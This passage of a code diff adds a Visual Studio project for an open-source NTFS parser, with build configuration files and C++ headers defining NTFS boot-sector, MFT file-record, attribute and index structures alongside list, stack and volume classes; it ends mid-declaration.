<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="NTFS.h" />
<ClInclude Include="NTFS_Attribute.h" />
<ClInclude Include="NTFS_Common.h" />
<ClInclude Include="NTFS_DataType.h" />
<ClInclude Include="NTFS_FileRecord.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="NTFSParser.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Attribute.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_DataType.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_FileRecord.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParser.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif
@@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif
@@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
